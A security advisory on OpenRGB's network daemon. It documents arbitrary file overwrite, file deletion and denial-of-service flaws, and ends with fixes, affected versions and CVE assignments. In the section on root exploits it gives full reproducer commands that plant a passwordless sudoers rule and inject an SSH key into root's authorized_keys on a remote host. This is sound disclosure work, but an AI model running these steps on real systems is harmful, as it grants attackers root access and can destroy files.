Each OpenRGB network message starts with a NetPacketHeader of 16 bytes size. This header most prominently defines the operation to be carried out (pkt_id) and the length of the payload following the header (pkt_size). The available network messages are declared via NET_PACKET_ID enum constants. The server-side parsing logic is located in NetworkServer::ListenThreadFunction().

Different versions of the protocol have evolved over time. The protocol version in use can be reported by the client via the NET_PACKET_ID_REQUEST_PROTOCOL_VERSION message, but is inconsistently also sometimes embedded into the payload data of specific message types. When the version is not reported by a client then it is treated as 0 on the server-side; the current protocol version is 5. The structure of the message payload is highly context-dependent; exact sequences of integer/string values conforming to the message type and protocol version in effect must be used.

There exists no well-defined protocol data type specification; the common pattern seems to be that most of the time 4-byte signed/unsigned integers, 2-byte unsigned short integers and strings are utilized. In some message types where only a single string is found in the payload, the string length is identified by the payload length in the header. Otherwise strings start with a 2-byte string length unsigned short integer.

There is no authentication or authorization existing on protocol level, which means that anybody reaching the daemon can perform all operations it offers. Generally there exists little verification of input data: there are no checks against overly large messages and resulting memory allocations, scarce checks for valid and sufficient input data, allowing memory corruption, and there is no validation of logical operations that are carried out e.g. on the file system as a result of client requests. Even where length information is available in the protocol and parsed by the server, it is sometimes discarded and raw network data is instead passed e.g. to std::string objects, assuming proper null termination of client-provided strings.

4) Reproducer Script

We offer a tarball for download containing a Python script, two symlinks pointing to it and a test configuration file. The script can act as an OpenRGB network client as well as a network server, and implements parts of the protocol for the purposes of reproducing the security issues discussed further below. We will point out specific reproducer command lines based on this script over the course of this report.

5) Security Issues

5.1) Arbitrary File Overwrite via SAVE_PROFILE Message (CVE-2026-59682)

The SAVE_PROFILE message causes the OpenRGB server to store its current profile data in a local file path. There is no verification of the path passed by the client, allowing it to point to arbitrary locations on the file system. When the daemon runs with full root privileges, as suggested by the OpenRGB systemd service unit, then arbitrary new files can be created or existing files can be overwritten. The profile save logic truncates the specified file if it exists, and writes the profile data into it.

This serves as a simple Denial-of-Service attack vector which allows to completely break the system. There is no precondition to reaching this outcome, it works even if the daemon is unconfigured and no LED devices exist in the system.

One apparent obstacle to this attack is that a filename extension is always added to the path passed by the client. Local attackers can easily bypass this by placing a symbolic link into the file system which contains the expected filename extension, which will be followed by the OpenRGB file handling code. Even remote attackers can overcome this limitation due to the way the string is parsed for this message type:

std::string profile_name;
profile_name.assign(data, header.pkt_size);

In most other message types in OpenRGB, string assignment is null-terminator based; in this case the raw input data is assigned to a std::string instead. This means the string can even contain null-terminators (the std::string object explicitly supports such use cases). The Linux kernel’s file system calls are always null-terminator oriented, however. When an attacker passes a filename like /etc/fstab\0\0\0suffix, the server will still append the filename extension to the string, but once it is passed to system calls, the kernel will only create the file /etc/fstab, stopping at the first null-terminator.

By applying this technique, both local and remote attackers can overwrite arbitrary files on the affected system. The attached reproducer script can be invoked as follows to reproduce the issue:

# this will overwrite /etc/passwd when OpenRGB is running on localhost
user$ ./rgb_fake_client.py --save-profile /etc/passwd

Note that openrgb actually intends to write the file into its “configuration directory”, which is looked up in ResourceManager::SetupConfigurationDirectory(). When the server is started via the systemd service unit, however, none of the environment variables inspected by the function are present. As a result the fallback configuration directory of "./" is used, which will simply be / in the context of the systemd service. Even if a proper configuration directory would be set, clients can easily bypass it by prefixing ../ directory components to reach the root of the file system.

Suggested Fix

All file-related messages like LOAD_PROFILE, SAVE_PROFILE and DELETE_PROFILE should be restricted to a fixed directory that is only controlled by the daemon itself. Path components like / and .. in the passed filename should be rejected. Similarly, non-printable characters (like terminal control sequences) should not be accepted. Even with these precautions there should be some mechanism to avoid creation of an unlimited amount of saved profiles, which could lead to disk space exhaustion.

5.2) Remote and Local Root Exploits via UPDATEMODE and SAVE_PROFILE Messages (CVE-2026-59683)

The UPDATEMODE message allows to alter the configuration of any registered LED controller in OpenRGB. This message is rather complex, consisting of multiple dynamically-sized arrays and also containing a variable-length string used as a “mode description” label. This attacker-controlled string combined with the SAVE_PROFILE attack vector described in section 5.1) paves the way for full local and even remote root exploits. Other message types that contain attacker-controlled strings might be usable for this attack as well, we arbitrarily chose this message type to demonstrate the attack.

The only precondition to this attack is that OpenRGB must have detected at least one LED controller to operate on. An empty configuration in OpenRGB will not expose any code paths that allow to store an attacker-controlled string in the profile written out by SAVE_PROFILE. We also found no way to trigger the registration of fake or emulated LED devices via the networking protocol. If OpenRGB is already running on a system then the typical situation will be that an actual LED controller is registered, however, meaning that the attack is relevant for most practical scenarios.

For reproducing this attack it is useful to configure a debug LED controller in OpenRGB, avoiding the need to have any real LED hardware present on the test system. The reproducer tarball contains the configuration file emul.json which can be used as OpenRGB.json by the OpenRGB service. This configuration will expose a test LED device which is sufficient to trigger the exploit.

The attacker-controlled string stored in the OpenRGB profile as “mode description” will be written out to the file passed to the SAVE_PROFILE message. The attacker does not control the full content of the output file, which will be a binary file containing various other data serialized by the OpenRGB daemon. The string can be of arbitrary length, however, and can contain any characters except for null bytes. This allows the attacker to inject a range of valid text lines which will be interpreted by programs that otherwise ignore syntax errors found while parsing the file.

One privileged program which fulfills the criteria is sudo when parsing sudoers files; this can be instrumented to turn the vulnerability into a local root exploit. The following example demonstrates this based on the provided reproducer script:

# construct a line which will grant us root privileges via `sudo` without
# entering a password
user$ SUDOERS_LINE=$(echo -e "\n\n$USER ALL=(ALL) NOPASSWD: ALL\n\n")

# this will store the line in the testing device's mode description
user$ ./rgb_fake_client.py --update-mode-name "0:0:$SUDOERS_LINE"
> Connected to ('localhost', 6742)
> Sent update for mode name, len = 97

# verify the intended line is actually part of the controller profile by now
user$ ./rgb_fake_client.py --req-controller-data 0 | grep NOPASSWD
> 'name': '\n\nuser ALL=(ALL) NOPASSWD: ALL',

# now ask the daemon to store the profile data in a /etc/sudoers.d drop-in
# configuration file
user$ ./rgb_fake_client.py --save-profile /etc/sudoers.d/letmein
> Connected to ('localhost', 6742)
> Saved profile to /etc/sudoers.d/letmein

# by now we should be able to gain root
user$ sudo su -
> /etc/sudoers.d/letmein:1:16: syntax error
> OPENRGB_PROFILE
> <snip>
localhost:~ #

To turn this vulnerability into a remote root exploit, the only requirement is that sshd is running and accessible on the target host. What we will do is inject our own SSH public key into the victim’s /root/.ssh/authorized_keys:

# create a new SSH keypair using an empty passphrase
user$ ssh-keygen
> Generating public/private ed25519 key pair.
> Enter file in which to save the key (/home/user/.ssh/id_ed25519):
> Enter passphrase for "/home/user/.ssh/id_ed25519" (empty for no passphrase):
> Enter same passphrase again:
> Your identification has been saved in /home/user/.ssh/id_ed25519
> Your public key has been saved in /home/user/.ssh/id_ed25519.pub
> The key fingerprint is:
> SHA256:r3SONks2o9FkN10IKW4sz3yYBdptLVOVeuzZOsVwnIw user@attack-host

# embed the new SSH public key in a shell variable surrounded by newlines
user$ PUBKEY_LINE=$(cat .ssh/id_ed25519.pub)
user$ PUBKEY_LINE=$(echo -e "\n\n$PUBKEY_LINE\n\n")

# the remote host running OpenRGB to attack
user$ ORGB_HOST="victim-host"

# store the public key as "mode description" in the victim's OpenRGB daemon
user$ ./rgb_fake_client.py --host $ORGB_HOST --update-mode-name "0:0:$PUBKEY_LINE"
> Connected to ('192.168.178.28', 6742)
> Sent update for mode name, len = 156

# verify the public key is now contained in the profile
user$ ./rgb_fake_client.py --host $ORGB_HOST --req-controller-data 0 | grep ssh-
>         'ssh-ed25519 '

# now write out the "profile" into the desired location via `SAVE_PROFILE`
user$ ./rgb_fake_client.py --host $ORGB_HOST --save-profile /root/.ssh/authorized_keys
> Connected to ('192.168.178.28', 6742)
> Saved profile to /root/.ssh/authorized_keys

# by now we should be able to login as root via SSH
user$ ssh root@$ORGB_HOST
> Last login: Thu Jul 30 11:35:08 CEST 2026 from 192.168.178.56 on ssh
> Have a lot of fun...
localhost:~ #

Even without sshd running there exist other possibilities to gain full remote code execution, such as by overwriting scripts in privileged locations; the only downside to this approach is that the effect of the attack will usually not be immediate, but will only take place once a privileged program executes the crafted script.

Suggested Fix

The most important part to fixing this potential remote root exploit is fixing security issue 5.1). Once arbitrary files cannot be overwritten any longer, the attack will be thwarted. Furthermore, any string data supplied by clients needs to be restricted in length and content. There should be no newlines, control characters or other special characters in the string data.

5.3) Various Denial-of-Service Attack Vectors (CVE-2026-18794)

There are various ways to achieve Denial-of-Service against the openrgb daemon and the system it is running on:

• The packet header allows to send a payload of up to 4 gigabytes in length. The daemon’s code will happily allocate on the heap any payload announced by the client; the client doesn’t even need to send the actual payload. The daemon also supports up to 32 parallel client connections which will be handled in dedicated threads. This means a malicious client can trigger up to 128 gigabyte of memory allocation in openrgb, leading to memory exhaustion which might also affect other programs on the system. This can be reproduced by calling rgb_fake_client.py --send-large-messages.
• The data sent by clients is only partially validated for integrity. For example, strings that are not null-terminated can lead to a crash in openrgb, when the data is passed to a std::string object. Similarly, overly large array size entries or truncated data structures can lead to memory access violations in the daemon. Most of this concerns invalid read accesses, but there also linger some invalid write access issues with the potential for stack/heap corruption, opening up further, more complicated attack vectors for privilege escalation.
• The LOAD_PROFILE message (analogous to issue 5.1) allows to point the daemon to arbitrary file system locations for parsing new profile data from. This can also lead to memory exhaustion or to blocking the thread forever (e.g. by pointing it to a named FIFO pipe or parsing of corrupted data which can again trigger the memory management issues described above).
• The DELETE_PROFILE message allows to delete arbitrary files in the system based on the same approach as pointed out in issue 5.1) for SAVE_PROFILE. This can be reproduced via rgb_fake_client.py --delete-profile /path.
• We observed the daemon crashing sometimes because it was sent SIGPIPE by the kernel when attempting to write to a client socket that is no longer connected. The error is not easy to reproduce, but the daemon should ignore SIGPIPE in any case to prevent such crashes.

Many of these issues also affect the client-side logic of openrgb. Since there is no authentication in the protocol, there is no telling whether the peer is a trustworthy OpenRGB instance, and unexpected replies can crash the client as well.

Suggested Fixes

These issues are hard to fix since they are spread all over the network processing logic. OpenRGB needs to enforce sensible size limits for messages and must carefully scrutinize all input on client and server side to avoid any memory corruption and invalid memory accesses.

6) Other Concerns

6.1) Server Attempts to Act as a Client

When the openrgb --server instance is started, for some reason it first attempts to automatically connect to another server, acting as a client. The tryAutoConnect setting for this is found in the ResourceManager class and is set to true by default. As a result the ResourceManager::InitCoRoutine() calls AttemptLocalConnection(). This causes the daemon to attempt a connection to localhost port 6742, the very same port the server is supposed to bind and listen to.

Unprivileged local users are allowed to bind to port 6742, which can cause the OpenRGB server to talk to possibly malicious instances of OpenRGB. The daemon performs a longer message exchange acting as a client, requesting information about known devices from the supposed server. Due to this, the various attack vectors present in the networking protocol as outlined in section 5.3) are exposed to local unprivileged clients as well.

If the daemon manages to successfully obtain information from the “other server” then startup won’t continue normally, because the server now attempts to keep the client connection alive while binding to wildcard IP “0.0.0.0” port 6742 at the same time. The latter will fail, naturally, if another process is already listening on this port on localhost. Otherwise this would have been an interesting attack vector to inject arbitrary LED controller information into the OpenRGB daemon even with no real LED controller hardware being available and without having control over the OpenRGB.json configuration file.

We are not sure what the intended purpose of this “auto connect” logic is in the context of openrgb --server. When using the default configuration values this does not seem to make sense, and only adds additional complexity and attack surface. If this auto connect feature would reach an actual remote server, then this would grant unverified third parties control over the configuration of OpenRGB running in server mode.

In the reproducer tarball we also provide a partial implementation of the OpenRGB server protocol. It can be started via rgb_fake_server.py --send-bad-controller-data. When the real openrgb --server is started while the fake server is running, various forms of corruption will occur in openrgb, ranging from excess memory allocation to memory corruptions which lead to core dumps.

6.2) Lack of Network Byte Order Handling

The serialized data sent by openrgb in network messages is always in host byte order. This seems a strange choice, since OpenRGB is a cross-platform project. It would be impossible to successfully exchange data between two hosts using a different byte order or simply differently sized int types, for example.

The usual approach to this is to send all data in “network byte order”, creating a defined data type representation on the wire.

6.3) Plugin Support Further Expands Attack Surface

OpenRGB supports plugins which can extend its functionality. Luckily plugins cannot be loaded via the network API, instead they seem to be configured via the Qt GUI component only. The UI asks the user to select a binary plugin to “install” into OpenRGB. We are not completely sure what the supposed workflow is for this, since regular users won’t be able to install a plugin this way for a system-wide privileged daemon, for example. If the plan is to run the GUI application as root then this would be even more worrying.

Loading arbitrary binary plugins selected by the user is an invite to e.g. run code downloaded from the Internet without verifying signatures, which would be very unusual and dangerous for a Linux system. A crafted plugin would lead to immediate code execution in the context of the user running the Qt UI.

Once plugins are installed in OpenRGB they can be reached via the network using the PLUGIN_SPECIFIC message. This calls into plugin-specific code and is thus beyond the scope of this review. Depending on what a plugin actually does this could easily open up additional attack vectors, however.

6.4) Vast Range of LED Controllers Expands Attack Surface

The Controllers sub-directory currently contains 189 different classes for device-specific support. The code in these files amounts to about 270,000 lines of code. These device-specific classes partially override virtual functions that are also reachable via the network protocol, creating an incalculable amount of code possibly exposed to the network.

It would be helpful to clearly separate code paths that are only called internally from those which might also be called from the network. Clearly marking possibly untrusted arguments or scrutinizing input data before passing it on to specialized code should be considered. Ideally some redesign would avoid network-related calls into non-core code in the first place.

7) Further Suggestions

7.1) systemd Service Hardening

Currently the systemd service unit runs the OpenRGB server with full root privileges without any hardening options in effect. systemd offers various features to apply sandboxing even to otherwise privileged processes. This would allow to prevent e.g. modification of files outside of expected locations by using the ReadWritePaths= directives and similar settings.

This should only be considered additional hardening for situations when things turn bad; it is not a first line of defense for a network-exposed service.

7.2) Dropping Privileges

For the scenario of the OpenRGB server running as root it could be considered to drop privileges for most of the time to avoid unnecessary exposure. We assume the main reason for having root privileges is the ability to modify LED hardware controls, thus the daemon could by default drop privileges to some openrgb service user and only raise privileges for the few situations when they are actually needed.

Another approach could be to separate the daemon into two programs, one privileged and offering only the hardware-specific API, and another unprivileged, bridging between network clients and the privileged daemon.

7.3) Mutual Authentication

Currently OpenRGB uses an unencrypted and unauthenticated protocol which seems to be intended to operate on real networks. For this scenario it is highly advisable to at least offer the option to introduce mutual authentication e.g. via SSL certificates. This would also allow to introduce encryption. While most of the data transferred by OpenRGB does not look sensitive at first sight, the situation might change in the future.

7.4) Applying Safe Defaults

The openrgb --server instance should not by default attempt to bind to the wildcard address 0.0.0.0 and thus potentially become available to remote parties. Doing this should be an explicit decision by the system administrator via a corresponding configuration entry.

8) Affected OpenRGB Versions

Most of the security issues outlined in this report have likely been present in various forms for a long time in OpenRGB. We verified that all of them can be reproduced in the current OpenRGB release candidates starting from 1.0 rc1, which was released in early 2025. All Linux distributions we looked into already package this or a newer version. On some distributions like Arch, Fedora and Ubuntu, the openrgb binary reports versions like “0.9+”, indicating that a development snapshot is used.

The current stable version of OpenRGB is version 0.9, which was released back in 2023. The long time since the last stable release is probably the reason why many Linux distributions package development snapshots by now.

There is one major difference between the version 0.9 stable release and the release candidate snapshots of OpenRGB: the trivial remote root exploit (issue 5.2) is not possible in version 0.9, because null terminators embedded in the profile path are not copied into the std::string object. The problematic call to std::string::assign() was only added in commit d7ed55b264d, which first appeared in release 1.0rc1.

The systemd service file which suggests to run openrgb --server as root was added to release candidate tag 1.0 rc2 of OpenRGB.

In summary, OpenRGB release candidate tags starting with 1.0rc1 are fully affected by the issues in this report. The stable release 0.9 (and likely older versions) are not affected by trivial remote exploits, because a file extension is always added to the SAVE_PROFILE path. These versions are still affected by local root exploits (based on symlink attacks) and remote Denial-of-Service.

9) Affected Systems

9.1) Linux Distributions

We looked into common Linux distributions and found the following situation:

• Arch Linux packages version 1.0rc3 of OpenRGB and is fully affected by the issues. Arch Linux has no firewall active by default, so it’s pretty easy to end up with a vulnerable system here.
• Fedora Linux provides a package based on version 1.0rc2 of OpenRGB and is thus fully affected by the issues.
• Gentoo Linux currently provides a stable ebuild for version 1.0rc2 of OpenRGB and is thus fully affected, also not protected by a firewall by default.
• openSUSE Tumbleweed ships a version of OpenRGB based on 1.0rc2. This package is fully affected by the issues in this report.
• Ubuntu 26.04 LTS (just recently released) packages version 0.9+, likely based on version 1.0rc1 of OpenRGB. Earlier Ubuntu 24.04 LTS does not ship it. The package does not contain a openrgb system service, but only a systemd user service. If a regular user starts up this service in an unprivileged context then the issues from this report are still exploitable, but naturally limited to the privileges of the victim user. The user’s authorized_keys can be overwritten the same way as for root, making it possible to access the user’s account remotely.

9.2) BSD Distributions

Only FreeBSD provides a package of OpenRGB; it is based on version 0.8 of OpenRGB. The server only binds to localhost in this version, thus there is no remote attack surface by default. Also embedded null terminators in profile names are not copied into the target path, which means only local symlink attacks allow full privilege escalation.

9.3) Other Systems

It is likely that the MacOS and Windows ports of OpenRGB are similarly affected, but we did not look into them.

10) CVE Assignments

Upstream provided no additional input regarding CVE assignments. Therefore we assigned CVEs as follows:

• CVE-2026-59682 (Issue 5.1): Arbitrary File Overwrite (and in extension, deletion via DELETE_PROFILE). In isolation this is a major local and remote Denial-of-Service attack vector. In OpenRGB <= 0.9 only local attackers can overwrite arbitrary files via symlink attacks. In versions > 0.9 also remote attackers can overwrite arbitrary files.
• CVE-2026-59683 (Issue 5.2): Local and remote root exploits by combining issue 5.1) and attacker-controller strings in LED profile data. This is only possible in OpenRGB > 0.9.
• CVE-2026-18794 (Issue 5.3): Cumulative local and remote Denial-of-Service attack surface mostly affecting OpenRGB itself and system memory consumption; possibly offers more complex privilege escalation attack vectors by way of skillful memory corruption. This affects OpenRGB >= 0.9, likely also a range of older versions.

11) Upstream Bugfixes

Initially upstream did not intend to publish bugfixes as a response to this report, although we offered coordinated disclosure. In the course of the communication with upstream and after we reached out to the distros mailing list for pre-disclosure, upstream decided to publish a minimal bugfix release after all. Commit d2dd9dcc7 addresses the worst aspects of the flaws discussed in this report:

• the daemon will only listen on localhost by default, not on potentially remote networks.
• pathnames passed to API endpoints like SAVE_PROFILE are no longer allowed to contain slashes and other special characters, preventing an escape from the set configuration directory.
• hardening directives have been added to the openrgb systemd service.
• a maximum message size is enforced.

This will avoid trivial remote or local root exploits, but it is still missing out on a lot of the other aspects discussed in this report. We don’t recommend running OpenRGB in real networks even with this patch applied.

12) Timeline

13) References

• OpenRGB website
• OpenRGB GitLab project
• openSUSE review bug for OpenRGB
• reproducer tarball for download
• OpenRGB 1.0rc3-hotfix bugfix release